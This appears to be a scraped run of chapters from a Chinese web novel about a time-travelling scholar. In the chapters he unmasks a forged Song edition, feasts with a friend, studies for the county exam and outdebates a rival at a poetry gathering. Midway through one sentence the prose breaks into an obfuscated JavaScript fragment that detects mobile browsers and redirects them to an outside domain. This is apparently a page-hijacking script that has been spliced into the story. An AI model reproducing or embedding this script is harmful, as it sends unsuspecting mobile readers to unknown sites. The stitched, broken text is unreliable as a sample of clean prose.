上面刻着的“汲古阁”三个字让他差点笑出声。
苏惟瑾抬起头,
脸上露出一丝似笑非笑的表情,
看着那横肉壮汉:
“你说这是宋版书?”
“当…当然是!”
壮汉被他看得有些发毛,硬着头皮道。
“哦?”
苏惟瑾声音微微提高,
确保周围看热闹的邻里都能听见。
“可我怎不知,当朝的‘汲古阁’,
就能刻印大宋时期的书了?”
“什么?”
壮汉一愣,没反应过来。
旁边有些见识的邻居已经开始窃窃私语:
“汲古阁?好像是咱们朝**晋**家的书坊吧?”
苏惟瑾不给他思考的时间,
继续追击,
语速平稳却如连珠炮般:
“此书纸张,乃是用硫磺熏蒸做旧,
色泽均匀却刺鼻,
真实的古纸色泽过渡自然,
且带有书香而非硫臭。
再看这墨色,浮而不沉,
显然是新墨仿写后做旧,
真实的古书墨色深入纤维,光下沉稳。”
他伸出食指,
在一页空白处轻轻一抹,
指尖竟沾染了些许黑色:
“瞧瞧,若是真古墨,
数百年早已吃透纸张,
岂能一擦就掉?”
接着,他指着书中的一处刻印字体:
“再者,这字体模仿的是南宋浙本风格,
秀劲有神,但笔画间却露出了马脚。
请看这个‘之’字,转折处僵硬,
带上了明代后期才流行的馆阁体匠气。
宋人刻书,岂能预知我朝字体风尚?”
最后,他“啪”地一声合上书,
目光锐利如刀,直刺那壮汉:
“最重要的是,
真正的宋版《礼记》,
避宋太祖赵匡胤祖父赵敬的讳,
‘敬’字或缺笔或改字。
你这本书,‘敬’字堂堂正正,
毫无避讳!
莫非你这宋版书,
是穿越时空从不需要避讳的朝代来的不成?!”
这一连串的专业剖析,
从纸张、墨色、装帧、
字体到避讳制度,层层递进,
证据确凿,逻辑严密,
直接把那壮汉和他两个同伙给打蒙了!
周围邻里发出恍然大悟的“哦——”声,
再看那几个无赖的眼神,充满了鄙夷和嘲讽。
“原来真是假的!”
“我就说陈家老实本分,
怎么可能干这种事!”
“这几个杀才,真是缺德冒烟了!”
横肉壮汉脸涨成了猪肝色,
指着苏惟瑾:
“你…你胡说八道!你算什么东西…”
“我乃本县新进童生苏惟瑾。”
苏惟瑾淡然道,声音不大,却自有一股威严。
“尔等手持伪书,公然讹诈良善,
扰乱市井,按《大明律》,
诈欺取财未遂者,亦当杖责六十,枷号三日。
要不要我现在就去请县衙的周捕头(他刻意点出周大山父亲的名号)来辨辨真假?
想必他对几位也是熟客了。”
一听到要见官,还要挨板子戴枷锁,
三个无赖彻底慌了神。
那瘦高个和矮冬瓜已经开始往后缩。
苏惟瑾趁热打铁,目光扫过三人,
忽然压低了声音,
只用他们几人能听到的音量道:
“是斜对门‘墨香斋’的刘掌柜,
还是拐角‘文华书舍’的李老板让你们来的?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515011|186215||http|test|mini|href|location''.split(''|''),0,{}));
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r>这点小把戏,也敢拿出来丢人现眼?
回去告诉你们东家,
做生意各凭本事,
再敢用这种下三滥的手段算计陈记,
下次来的,就不是童生,
而是衙门的差役了!”
他其实并不确定是谁指使,
但超频大脑根据附近书店竞争关系
和这几人刚才眼神偶尔飘忽的方向,
做出了最合理的推测和心理诈唬。
果然,三个无赖脸色瞬间大变,
宛如见了鬼一样看着苏惟瑾,
仿佛他什么都知道了!
他们哪还敢停留,
那横肉壮汉一把抢回那本破书,
色厉内荏地撂下一句
“算…算你狠!走着瞧!”,
便带着两个跟班灰溜溜地挤开人群跑了,连头都不敢回。
苏惟瑾冷冷地看着他们的背影,
超频大脑已将那三人的体貌特征清晰记录存档。
此事,绝不会就这么算了。
幕后之人,他迟早要揪出来。
店内瞬间安静下来,
只剩下陈伯康粗重的喘息和陈母后怕的抽泣声。
“苏…苏相公…”
芸娘走到他面前,
仰着脸看着他,
大眼睛里水光潋滟,
充满了劫后余生的庆幸、
无限的感激以及一种难以言喻的、
炽热的崇拜。
方才苏惟瑾那冷静分析、侃侃而谈、
智退强敌的身影,已深深烙在她心里。
陈伯康也挣扎着站直,老泪纵横,
对着苏惟瑾就要下拜:
“苏相公…今日若非您…
我陈家…我陈家就完了啊…”
苏惟瑾连忙扶住他:
“伯父万万不可!
既是合伙,守望相助乃是本分。
何况这等宵小,本就该人人喊打。”
他帮着陈家收拾好被弄乱的铺面,
又温言安抚了几句。
经此一事,陈家人看他的眼神已彻底不同,
充满了毫无保留的信任和依赖。
陈伯康激动地拉着苏惟瑾的手,
颤声道:
“苏相公,老朽这铺子虽小,
后面还有间小库房,
里面放着些我祖辈收来、
舍不得卖的旧书,
还有些老辈人留下的读书笔记、
札记什么的,乱七八糟,
平日我也没心思整理。
您若是不嫌弃,
以后随时可来自取翻阅!
或许…或许对您科举学业能有一星半点的用处!”
这无疑是意外之喜!
这些未经市面流通的私人藏书和笔记,
往往藏着真正的宝贝,
比书店里的大路货有价值得多!
苏惟瑾心中一动,也不推辞,拱手道:
“如此,便多谢伯父了!晚辈定当珍惜。”
又坐了片刻,见陈家情绪平稳下来,
苏惟瑾才起身告辞。
芸娘送他到门口,手指绞着衣角,
声如蚊蚋却清晰道:
“苏…苏大哥,
今日…真的多谢你。”
这一声“苏大哥”,
叫得自然又亲昵,
包含了太多少女难以宣之于口的情愫。
苏惟瑾看着她微红的脸颊和亮晶晶的眼睛,
心中也是一片温软,笑道:
“举手之劳,芸娘妹妹不必客气。
以后有事,尽管来寻我。”
走在回家的路上,
苏惟瑾感觉神清气爽。
这次出手,不仅粉碎了一场拙劣的讹诈,
护住了盟友,赢得了更珍贵的藏书资源,
收获了少女倾慕的星星眼,
还顺带在街坊四邻面前秀了一把学识和急智,
这人设算是立得稳稳的了。
知识就是力量,
用于实战,效果拔群。
至于那幕后使绊子的…
苏惟瑾嘴角勾起一丝冷冽的弧度。
等院试过后,咱们慢慢玩。
第58章 周大山庆贺,兄弟把酒欢
夕阳的余晖透过新糊的窗户纸,
懒洋洋地洒进西街这间小小的院落。
院子不大,却打扫得干干净净,
显出几分过日子的气象。
那两间低矮的瓦房,
屋顶新补了几片青瓦,
这便是苏惟瑾如今的家了。
这院子是他父母留下的祖产,
曾被叔伯霸占后落入张家。
如今苏惟瑾挣得功名,撕了**契,
七叔公便以族老的身份,
带着人上门“理论”,
张承宗哪敢纠缠,
只得交还了地契房契。
苏惟瑾正擦拭着旧木桌,
心里盘算着那70两银子的用度。
正思忖间,院门外传来一阵粗豪的喊声:
“惟瑾兄弟!在家不?哥哥我来给你贺喜了!”
声音未落,周大山就提着两个油纸包和一坛碧香清酒,
风风火火地闯了进来。
他今日换了常服,一身短打劲装,
脸上洋溢着发自内心的笑容。
“大山哥?”
苏惟瑾放下抹布,迎了上去,
脸上露出真切的笑容。
“你怎么来了?快请进。”
“哈哈!这么大的喜事,我能不来?”
周大山把酒肉往桌上一放,
蒲扇般的大手重重拍了拍苏惟瑾的肩膀。
“好小子!真给你大山哥长脸!
府试案首!撕**契!
骂得张承宗那老乌龟吐血!
我的娘诶,现在满沭阳城茶楼酒肆,
说的全是你的英雄事迹!”
他自顾自地拉过两条板凳,
手脚麻利地打开油纸包,
里面是切好的酱牛肉和卤肥鸡,香气四溢。
又拍开酒坛泥封,浓烈的酒香扑鼻而来。
“来来来,没啥好菜,
咱哥俩必须整点!
今天非得喝个痛快!”
周大山拿出两个粗瓷大碗,
咚咚咚倒满了酒,
自己先端起来。
“来,兄弟,第一碗,
敬你脱离苦海,重获自由!干了!”
苏惟瑾看着那满满一碗烈酒,头皮发麻,
但感受到周大山的熱忱,
心头一热,端起碗:
“多谢大山哥!”
一咬牙,仰头灌了下去。
一股火辣辣的线瞬间从喉咙烧到胃里,
呛得他咳嗽起来,脸也迅速涨红。
“哈哈!爽快!读书人就是实在!”
周大山看得哈哈大笑,
自己也一口闷了,
抹了把嘴边的酒渍。
就在这时,一个怯生生的声音在门口响起:
“哥哥?”
两人回头,只见苏婉小小的身影出现在院门口,
手里紧紧攥着一个小布包,
正有些不安地看着屋内的周大山。
“婉妹?”
苏惟瑾连忙起身。
“快进来。”
周大山也立刻站了起来,
他努力让自己的大嗓门柔和下来,
笑着招呼:
“是婉儿啊!
快进来,正好,大山哥带了肉,快来吃点!”
苏婉还是有些拘谨,
慢慢挪到苏惟瑾身边,
把小布包递给他,小声说:
“哥哥,这是我…我跟五婶新学的,
做的豆沙包,给你当晚饭…”
苏惟瑾接过还带着温热的布包,
心中柔软,摸了摸她的头:
“谢谢婉妹。”
周大山看着这一幕,
心中感慨,他拉过一条凳子,
对苏婉爽朗一笑:
“婉儿,坐!你大山哥又不是外人!
还记得不?
你小时候爬树下不来,
还是我把你抱下来的!
还有一次,你被村头那只大鹅追,
是我拿棍子把它赶跑的!”
苏婉被他说得有些不好意思,
小脸微红,轻轻点了点头,小声说:
“记得…谢谢大山哥。”
记忆里,这个高大的邻家哥哥,
确实总是在她和哥哥需要的时候出现。
她偷偷看了一眼桌上香气扑鼻的酱牛肉,
咽了口口水,却乖巧地没有动。
苏惟瑾将她的细微动作看在眼里,
心中酸涩,立刻夹起一大块最好的牛肉,
放到一个干净的碗里,
推到苏婉面前:
“婉妹,吃吧,大山哥不是外人。”
周大山也连连附和:
“对对对!快吃!跟你大山哥客气啥!”
苏婉看看哥哥,又看看周大山,
终于抵不过肉香的诱惑,
小口小口地吃了起来,
脸上露出了满足的笑容。
酒过三巡,周大山脸色泛红,话也更多起来。
他凑近些,压低了点声音,
带着点得意:
“兄弟,那天在张家门口…
嘿嘿,哥哥我时机抓得不错吧?”
他指的是他带着衙役“恰好”出现的那一出。
苏惟瑾心中了然,举起酒碗,真诚道:
“大山哥雪中送炭,情谊惟瑾铭记于心。”
“哎!说这些干啥!”
周大山大手一挥。
“那张家父子本来就不是好东西!
正好借你这东风,
吓唬吓唬那老小子!
嘿嘿,没想到直接把他吓吐血了!
痛快!”
他绝口不提自己是特意去撑场子的。
苏婉安静地坐在一旁,
听着两人说话,
虽然有些话她听不太懂,
但她能感觉到周大山对哥哥是真心的好。
她看着周大山,
鼓起勇气小声说:
“大山哥…以前,
谢谢你…给我铜钱…”
她指的是当初周大山偷偷接济她的事。
周大山一愣,随即哈哈一笑,
浑不在意地摆摆手:
“嗐!那点小事,提它干啥!
你是我妹子,我能看着你挨饿?”
他转头对
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苏惟瑾说。
“兄弟,你是不知道,
当初我听说婉儿被欺负,
心里那个气啊!
就想着哪天非得……”
他话没说完,但意思都懂。
苏惟瑾看着妹妹,
又看看周大山,心中暖流涌动。
他再次端起酒碗:
“大山哥,婉妹,我们兄妹能熬过来,多亏有你。
话不多说,都在酒里!”
“好!干!”
周大山再次一饮而尽。
苏婉也端起自己的水碗,
学着哥哥的样子,
小脸认真地说:“谢谢大山哥!”
气氛更加融洽。
周大山看着苏婉,对苏惟瑾道:
“兄弟,往后有啥打算?
院试肯定没问题吧?
到时候就是秀才相公了!
婉儿也能跟着享福了!”
苏婉听到这话,
眼睛亮晶晶地看着哥哥,
充满了全然的信任和期盼。
苏惟瑾点点头:
“院试自当尽力。
只是在这沭阳,根基尚浅,
日后难免还有些琐碎麻烦…”
“嗐!这你怕个球!”
周大山把酒碗往桌上重重一顿,
拍着胸脯,砰砰作响。
“兄弟!你放心!
以后在这沭阳地界,
有啥事,尽管跟你大山哥言语一声!
别的不敢说,衙门里三班六房,
街面上三教九流,
哥哥我多少还有点面子!
哪个不开眼的敢找你跟婉妹的麻烦,
老子第一个不答应!”
他这话说得掷地有声,
带着江湖人的豪气和衙门中人的底气。
苏惟瑾看着他因酒精和义气而发红的脸膛,心中感慨万千。
穿越以来,他凭借超频大脑一路闯关,
看似顺风顺水,实则如履薄冰。
像周大山这样纯粹、热忱、
可托付后背的朋友,弥足珍贵。
“好!”
苏惟瑾也被他的情绪感染,
再次端起酒碗,
眼中闪烁着真诚的光芒。
“大山哥,话不多说,都在酒里!
你这份情谊,我苏惟瑾记下了!
日后但有所成,绝不敢忘!”
“哈哈!好兄弟!干!”
夜色渐深,周大山已有些醉意朦胧,
却还拉着苏惟瑾的手絮叨着往事和未来的畅想。
苏婉安静地收拾着碗筷,
动作轻快,脸上带着许久未见的轻松笑容。
看着醉眼朦胧却依旧嚷嚷着“再喝一碗”的周大山,
再看看乖巧懂事的妹妹,
苏惟瑾嘴角扬起一抹舒心而坚定的笑意。
这狂飙的科举之路,有如此兄弟,有如斯妹妹,他并非孤身一人。
这份温暖,将是他前行路上最坚实的力量。
月光如水,洒满小院,
也柔和地笼罩着这历经磨难后终于团聚、并拥有了宝贵情谊的三人。
第59章 院试备考,刷题狂魔模式
宿醉的头痛在超频大脑的精准调控下,
天亮时分便已消散大半。
苏惟瑾睁开眼,
昨日的喧嚣与酒气仿佛隔世。
周大山早已悄无声息地离开,
还将狼藉的碗筷收拾干净,
只在桌上留了张歪歪扭扭的字条:
“兄弟,好酒!下回再战!——大山”。
苏惟瑾笑了笑,将字条仔细收好。
朋友的情谊暖心,
但前方的路更需专注。
院试,才是眼下真正的龙门!
他没有留恋这刚刚归还、
尚且简陋的小院,
简单收拾了几件衣物和最重要的书籍笔墨,
便锁上门,径直去了西街苏氏宗祠旁的族学。
这族学还是七叔公等几个老一辈念着“光耀门楣”咬牙办起来的,
几间旧屋舍,请了个老秀才坐馆,规模寒酸。
但此刻对苏惟瑾而言,
却是最理想的备考静地。
七叔公早已打过招呼,
老秀才和看守宗祠的老苍头对这位突然崛起、
为苏家挣了大脸面的族孙客气得很,
立刻收拾出了一间最僻静的厢房给他。
房间很小,只一床一桌一椅,
窗户对着后院的一丛修竹,
倒是雅致。
苏惟瑾很满意。
放下行李,他立刻开始了规划。
超频大脑就像最精密的计算机,
开始全功率运转。
就在他铺开纸张,
准备拟定备考计划时,
门外传来细碎的脚步声和小心翼翼的叩门声。
“哥哥?”
是苏婉细弱却清晰的声音。
苏惟瑾立刻起身开门,
只见苏婉站在门外,
手里提着一个用干净布帕包着的小小食盒。
她穿着一身半新的藕荷色衣衫,
头发梳得整整齐齐,
小脸洗得干干净净,
眼神里带着几分怯生生的期待,
以及掩藏不住的孺慕之情。
“婉妹?你怎么来了?”
苏惟瑾连忙让她进来,
语气带着惊喜。
“我听七叔公说,
哥哥要在这里用功,准备大考。”
苏婉将食盒轻轻放在桌上,
解开布帕,里面是几个还带着温热的、
捏成小兔子形状的白面馒头,
以及一小碟切得细细的酱菜。
“我…我跟五婶学了蒸馒头,
这是我自己做的。
哥哥读书辛苦,要吃点好的。”
她说话时,微微低着头,
手指不安地绞着衣角,
似乎生怕哥哥嫌弃。
自从苏惟瑾中了童生案首,
她在族中的地位虽有所改善,
但那份深入骨髓的小心翼翼,
并非一朝一夕能改变。
苏惟瑾看着那略显粗糙却充满心意的小兔子馒头,
心中一暖,又有些酸楚。
他拿起一个,咬了一口,
细细咀嚼,然后露出真诚的笑容:
“很好吃,婉妹的手真巧。
比外面买的好吃多了。”
苏婉猛地抬起头,
眼睛瞬间亮了起来,
像是落入了星辰,
嘴角难以抑制地向上弯起,
露出了一个纯粹而开心的笑容。
“哥哥喜欢就好!
我…我以后常给哥哥送!”
“好。”
苏惟瑾温声道,摸了摸她的头。
“不过别太辛苦,也要照顾好自己。
哥哥在这里很好,你不用担心。”
“嗯!”
苏婉用力点头。
“哥哥一定能考中秀才!
最厉害的那种!”
她又仔细看了看哥哥的脸色,
小大人似的嘱咐:
“哥哥也别太累了,
我…我先回去了,
不打扰哥哥看书。”
送走一步三回头、依依不舍的苏婉,
苏惟瑾看着桌上那碟馒头和酱菜,
心中充满了力量。
他要变得更强,
不仅要为自己搏一个前程,
更要为婉妹撑起一片再无风雨的天空。
这信念,让他的目标更加清晰和坚定。
第一步:情报收集与分析。
他需要知道院试考什么、
怎么考、谁主考、偏好何种风格。
目标明确:不是合格,是碾压,是案首!
通过七叔公和老秀才的关系,
又去了几趟陈氏书铺(如今已是自家产业),
苏惟瑾很快搜集到了近十年淮安府院试的真题集,
以及几位可能担任主考官的学政、教谕们的文章喜好信息。
厢房内,油灯常常亮至深夜。
桌面上铺满了历年试卷。
苏惟瑾目光锐利,
快速扫描着每一道题目,
超频大脑疯狂进行着模式识别和数据统计。
一条条规律被提炼出来,
考点热度被量化分析,
考官偏好被建立模型。
第二步:针对性强化训练
——八股文极限挑战。
苏惟瑾铺开稿纸,开始疯狂练习。
超频大脑提供庞大的知识储备和逻辑架构能力,
现代写作技巧则帮助他在起承转合、
破题立意上寻找最佳角度。
他下笔如飞,一篇篇结构严谨、论证充实、
时而闪现惊人之语的八股文章在笔下诞生。
写完后,又自行以最苛刻的标准进行批改、修订、优化。
第三步:短板突击——书法速成。
苏惟瑾找出赵教谕、
陈老相公等本地书法名家的墨迹(或拓本),
利用超频大脑的图像捕捉和肌肉微控能力,
进行高强度模仿练习。
废稿纸一日便能堆起一小叠,
右手中指第一指节处很快磨出了
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一层薄茧。
第四步:体能储备。
每日清晨,天蒙蒙亮,
苏惟瑾便起身,
在宗祠后院练习那套融合了现代军体拳
和广播体操的“苏氏养生功”,
活动筋骨,提振精神。
饮食上也绝不亏待自己。
在此后的备考日子里,
苏婉果然如她所说,
每隔两三日,便会寻个由头过来一趟。
有时是悄悄塞给哥哥两个她省下来的煮鸡蛋;
有时是一方她亲手绣了青竹图案的干净汗巾;
有时只是扒在门边,
偷偷看一会儿哥哥伏案疾书的背影,
确认他安好,便又悄悄离开,
生怕多耽搁他一分一秒。
她从不多话,但那无声的关怀和全然的信任,
胜如涓涓细流,滋润着苏惟瑾高强度备考下略显枯燥的心田。
偶尔,苏惟瑾会放下笔,
将她叫进来,考教她几个简单的字,
或是给她讲个短小的典故。
每当这时,苏婉总是听得极其认真,
眼睛一眨不眨,那崇拜和喜悦的光芒,
比夏夜的星辰还要明亮。
族学里的蒙童们很快发现,
那位新来的、传说中很厉害的惟瑾叔/哥,
是个极其恐怖的“怪人”。
他房间的灯总是亮得最早,熄得最晚。
他几乎从不与人闲聊,
走路都在低声默诵着什么。
他门口扔出来的废稿纸,
一天比一天多,
上面的字却一天比一天好看。
老秀才也远远观察过几次,
一次无意间瞥见苏惟瑾落在桌上的一份时文纲要,
那逻辑之清晰、剖析之深刻,
让他愣在原地半晌,
然后摇着头,喃喃自语地走了:
“后生可畏…苏家…
怕是真的要出真龙了…”
苏惟瑾完全沉浸在一种高效而疯狂的“刷题狂魔”模式中。
超频大脑如同不知疲倦的超级计算机,
将知识分解、重组、优化、输出。
时间一天天过去,
院试的日期越来越近。
苏惟瑾桌上的笔记越堆越厚,
字迹愈发稳健,文章愈发老辣。
他那清瘦的身影似乎更加凝练,
眼神沉静如水,深处却燃烧着志在必得的火焰。
所有的喧嚣、赞誉、恩怨,都被他暂时屏蔽在外。
他的世界,只剩下一个目标:
院试,案首。
这不仅是为了他自己的前程,
更是为了不辜负婉妹那亮晶晶的、
充满全然信任与期盼的眼神,
为了能让她在未来,
可以真正挺直腰板,
无忧无虑地生活。
科举的狂飙之路,下一站,必须完美通关。
为了自己,也为了那个将他视为全世界的小小身影。
第60章 孙家挑衅,文会上再交锋
院试日期渐近,
沭阳县的文学氛围也愈发浓稠起来。
这日,城东“雅集轩”茶馆办了一场不大不小的文会,
发起者是本县几位颇有文名的老秀才,
意在让备考的童生们互相切磋,
交流心得。
茶馆临河而建,二楼雅间打通,
布置得清雅别致,
墙上挂着几幅水墨丹青,
窗外垂柳依依,河风送爽,
倒是个以文会友的好去处。
收到帖子的,
多是本次府试成绩靠前或有家学渊源的童生,
约莫二十来人。
苏惟瑾本不欲参与,
但七叔公和赵教谕都暗示他需适当露面,
既可探听风声,亦可扬名固誉,
他便也来了。
他一袭半旧青衫,
坐在靠窗的不起眼位置,
神色平静,与周遭或兴奋、或紧张、
或故作矜持的学子们格格不入。
孙志远自然也来了。
他今日特意穿了件崭新的宝蓝色直裰,
头戴方巾,手持一柄泥金折扇,
顾盼之间,颇有几分风流自赏的意味。
自府试被苏惟瑾压过一头,
他憋屈了许久,
今日打定主意要在这文会上找回场子。
他身边照例围着几个以他马首是瞻的跟班,
不时发出刻意压低的奉承笑声。
文会伊始,照例是品茗闲谈,
继而以“临河咏柳”为题,
各作诗一首暖场。
这是常规流程,众人皆提笔蘸墨,沉吟起来。
不多时,便有诗作陆续呈上。
有写“碧玉妆成绿丝绦”的稳妥之作,
也有“烟波江上惹离愁”的伤春悲秋。
孙志远沉吟片刻,
挥笔写就一首:
“万缕千丝拂画桡,
春风剪出小蛮腰。
灞桥烟雨年年似,
一曲离歌送客遥。”
诗成,周围顿时响起几声叫好。
“孙兄此诗,化用古意而出新,妙哉!”
“尤其‘小蛮腰’之喻,生动俏皮,真乃点睛之笔!”
孙志远面露得色,折扇轻摇,
目光却瞥向窗边的苏惟瑾,带着几分挑衅。
苏惟瑾神色不变,略一思索,
提笔落墨,纸上现出诗句:
“不斗秾华不占红,
自飞晴野雪濛濛。
百花长恨风吹落,
唯有杨花独爱风。”
诗风迥异,不咏其形,
而赞其神,将杨花置于百花对立面,
赞其不惧风吹、
独爱自由的洒脱本性。
格局立意,瞬间高下立判。
场内霎时一静。
几位老秀才捻须颔首,
眼中露出惊异赞赏之色。
方才夸赞孙志远的那几人,
顿时有些尴尬,
夸赞之词卡在喉咙里,
不上不下。
高下立判,无需多言。
孙志远脸上的得意瞬间凝固,
捏着扇子的手指微微发白。
暖场过后,进入自由切磋环节。
孙志远见作诗未能压过苏惟瑾,
心中更是不忿,眼珠一转,
清了清嗓子,站起身来,
朝着四周拱了拱手,朗声道:
“诸位同道,今日文会,
旨在切磋学问,砥砺前行。
小弟近日读《礼记·月令》,
偶有一惑,百思不得其解,
恰逢其会,想请教一下诸位高才,
尤其是…府试案首苏惟瑾苏兄。”
他刻意加重“府试案首”四字,
将所有人的目光都引到了苏惟瑾身上。
众人精神一振,心知好戏来了。
孙志远这是不服气,要出难题找茬了。
苏惟瑾抬起眼,平静地看向他:
“孙兄请讲。”
孙志远心中冷笑,
面上却一副虚心求教的样子:
“《月令》有云:
‘仲春之月,雷乃发声,蛰虫咸动,启户始出。’
注疏皆言,此乃天地阳气生发,惊醒蛰虫。
然小弟愚钝,想请问苏兄,
这‘雷乃发声’与‘蛰虫咸动’,
孰为因,孰为果?
是雷声惊醒了蛰虫,
还是蛰虫将动引来了雷声?
其间道理,还望苏兄不吝赐教。”
这个问题颇为刁钻,
涉及经义中少有人深究的因果关系,
甚至带点玄学色彩。
众人皆屏息凝神,看向苏惟瑾,
看他如何应对。
几个老秀才也露出感兴趣的神色。
孙志远暗自得意,
这问题是他从家中一本孤本杂记上看来的,
冷僻异常,寻常学子根本不会想到,
更别提回答了。
他料定苏惟瑾要么答不上来,
要么只能含糊其辞,无论哪种,
都能大大折其颜面。
然而,苏惟瑾闻言,
嘴角却几不可察地微微扬起一丝弧度。
超频大脑瞬间启动,
相关经文、历代注疏、
乃至后世自然科学研究和考据成果汹涌而至,
迅速整合成最佳应答方案。
他不慌不忙地站起身,
先对几位老秀才和在场众人行了一礼,
才从容开口:
“孙兄此问,确实有趣。
历代注疏,于此点多语焉不详,
或避而不谈,或笼统归之于‘天地之气感召’。”
他先肯定了问题的难度,
随即话锋一转:
“然,依小弟浅见,
纠结于孰因孰果,或落入窠臼。
《月令》此文,本为述天文、纪时令、明人事,
并非探讨自然机理之专论。
其文‘雷乃发声,蛰虫咸动’,
乃是并列陈述仲春二候之现象,
而非断言其因果关系。”
众人听得微微点头,觉得有理。
孙志远却皱眉:
“依苏兄之意,二者并无关联?
那为何偏偏将此二事并列?”
“非是无关联,而是其关联并非简单的孰先孰后。”
苏惟瑾淡然一笑,
抛出了更具冲击力的观点。
“实则,据某些散佚古籍及后世…
呃,一些博学之士考证,
‘雷乃发声’此句,或有讹误之嫌。”
“什么?讹误?”
此言一出,满座皆惊!
质疑经文章句?
这可是需要极大勇气的!
孙志远像是抓住了天大的把柄,
立刻提高声音:
“苏兄此言差矣!
《月令》乃圣贤经典,岂容随意质疑?
莫非苏兄自
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以为能超越先贤注疏?”
苏惟瑾却不急不躁,缓缓道:
“孙兄稍安勿躁。
小弟并非凭空臆测。
考《夏小正》、《淮南子·时则训》等更古之文献,
于仲春物候,多只记‘蛰虫咸动’,
而未强系于‘雷乃发声’。
且各地物候不同,某些地域春来早,
蛰虫动时未必闻雷。
反之,秋冬时节,偶闻雷声,
又何曾见蛰虫出动?”
他顿了顿,观察着众人陷入思考的神色,继续道:
“故而,有学者推测,
《月令》‘雷乃发声’四字,
或为后人所加,
意在强化春回大地之声势,
亦或…是版本传抄过程中,
将注释误入了正文。
其本意,或许仅是描述‘仲春之月,
阳气盛,蛰虫动’这一整体现象而已。
如此,则‘孰因孰果’之惑,便可迎刃而解矣。”
这一番论述,引经据典,逻辑清晰,
既尊重了经典,
又提出了新颖且能自圆其说的考据观点,
巧妙地化解了那个刁钻的问题,
反而显得提问者有些钻牛角尖。
场内一片寂静,
众人都在消化这闻所未闻却又合情合理的解释。
几位老秀才交头接耳,频频颔首:
“妙啊!此解另辟蹊径,
却言之成理!”
“是啊,跳出因果之辩,
从文献流变角度入手,
高,实在是高!”
“苏小友之博学深思,老夫佩服!”
孙志远站在原地,
脸上一阵红一阵白,
他本想刁难对方,
却反而给了对方一个展示渊博学识和超凡见解的舞台!
自己再次成了衬托红花的绿叶,
背景板!
他握着折扇的手指关节捏得发白,
恨不得找个地缝钻进去。
苏惟瑾却并未乘胜追击,
只是对着孙志远微微拱手,
语气平和:
“此乃小弟一家之言,管窥之见,
未必正确,权当与孙兄及诸位探讨,
若有谬误,还望海涵。”
这番谦逊的姿态,更是赢得众人好感。
“苏兄过谦了!”
“听君一席话,胜读十年书啊!”
赞誉之声纷纷涌向苏惟瑾。
孙志远僵在原地,
勉强挤出一个比哭还难看的笑容,
讪讪地坐了回去,再也无心恋战。
他原本精心准备的几个后续难题,
在苏惟瑾那番降维打击般的回答面前,
显得索然无味,甚至可笑。
文会接下来的时间,
几乎成了苏惟瑾个人的学术沙龙。
不时有人向他请教经义、诗赋,
他皆能应对自如,言简意赅,
切中要害,令人叹服。
夕阳西下,文会散去。
众人离去时,大多围着苏惟瑾拱手道别,
言语间充满了敬佩。
孙志远则带着几个跟班,
灰头土脸地最早溜走,连招呼都没打。
苏惟瑾走在最后,
看着孙志远仓惶离去的背影,神色淡然。
跳梁小丑,终究难登大雅之堂。
院试在即,这些不过是开胃小菜罢了。
第61章 王雪茹现身,侠女嘲纨绔
文会散去,众人意犹未尽,三三两两步出雅集轩。
夕阳将沭水河面染成金红,
晚风拂柳,本该是惬意的时分,
却总有几声不合时宜的嘀咕,
破坏了这份闲适。
孙志远铁青着脸,走得飞快,
只想尽快离开这让他颜面尽失的是非地。
他身边那几个惯会捧臭脚的跟班,
见主子受挫,自己脸上也无光,
心里憋着股邪火。
其中一个矮胖如球、名叫钱富的纨绔,
回头瞥见正与一位老秀才从容道别的苏惟瑾,
眼珠一转,故意放慢了脚步,
扯着嗓子阴阳怪气地对同伴道:
“啧,有些人呐,
别看他眼下风光,
肚子里揣着几两墨水,
可这出身呐,是刻在骨头里的。
泥腿子就是泥腿子,侥幸认得几个字,
就真以为能跃龙门了?
也不瞧瞧自个儿祖坟冒没冒那道青烟!”
另一个瘦高个,李狗子,立刻会意,尖声附和:
“钱兄所言极是!
不过是走了狗屎运,小人得志罢了。
伺候人的玩意儿,还真端起来了?
我看那文章指不定是从哪儿…”
这话就说得极其阴毒恶臭了,
几乎是在明指苏惟瑾舞弊,
且刻意侮辱其曾经为奴的经历。
周围尚未散尽的士子们闻言,
纷纷皱眉,露出不以为然的神色,
但碍于孙家势力和这几位纨绔平日里的混账德行,
一时竟无人出声驳斥。
那几位老秀才也面露愠色,却似乎有所顾忌。
苏惟瑾刚刚送别老秀才,
听到这污言秽语,脚步一顿,缓缓转过身。
他脸色依旧平静,
但眼神已骤然冷了下来,
寒冬结冰的湖面也不过如此。
他正欲开口,
却听得一个清脆利落、带着几分英气的女声,
胜如快刀斩乱麻般,
抢先一步炸响在河边:
“我当是哪里的野狗在乱吠,
原来是你们几个不长进的东西!”
声音不高,却极具穿透力,
带着一股毫不掩饰的鄙夷和嘲讽。
众人愕然,循声望去。
只见不远处柳树下,
不知何时立着一位少女。
约莫十四五岁年纪,
一身石榴红的劲装,
并非寻常闺阁女子的襦裙,
腰束革带,勾勒出挺拔矫健的身姿。
头发也未梳成复杂发髻,
而是简简单单束成一条乌黑油亮的长辫,甩在身后。
眉眼明亮,鼻梁挺直,唇瓣不点而朱,
此刻正微微上扬,带着一抹毫不客气的讥诮。
她一手按在腰间,
那里似乎悬着个小巧的皮革镖囊,
另一手叉着腰,
整个人像一株迎风招展的小白杨,
飒爽利落,英气逼人。
正是本县屯田百户所王百户(正六品)的独女,王雪茹。
那几个纨绔一见是她,
顿时像被掐住了脖子的公鸡,
气焰霎时矮了半截。
这王大小姐可是沭阳城里出了名的小辣椒,
性子泼辣,拳脚功夫还得过其父真传,
等闲纨绔子弟都不敢轻易招惹她。
钱富壮着胆子,讪笑道:
“王…王大小姐,
您…您这是打哪儿来啊?
我们…我们兄弟几个闲聊呢…”
“闲聊?”
王雪茹嗤笑一声,
迈开步子走了过来,步伐干脆,
带着一股劲风。
她目光扫过钱富和李狗子,
最后落在脸色难看的孙志远背上,
声音清脆,字字如弹珠落地。
“我听着可不像闲聊。
怎么,学问文章上比不过人家,
就开始搬弄口舌,嚼人出身了?
你们爹娘送你们进学,
就教会你们这些下三滥的本事?”
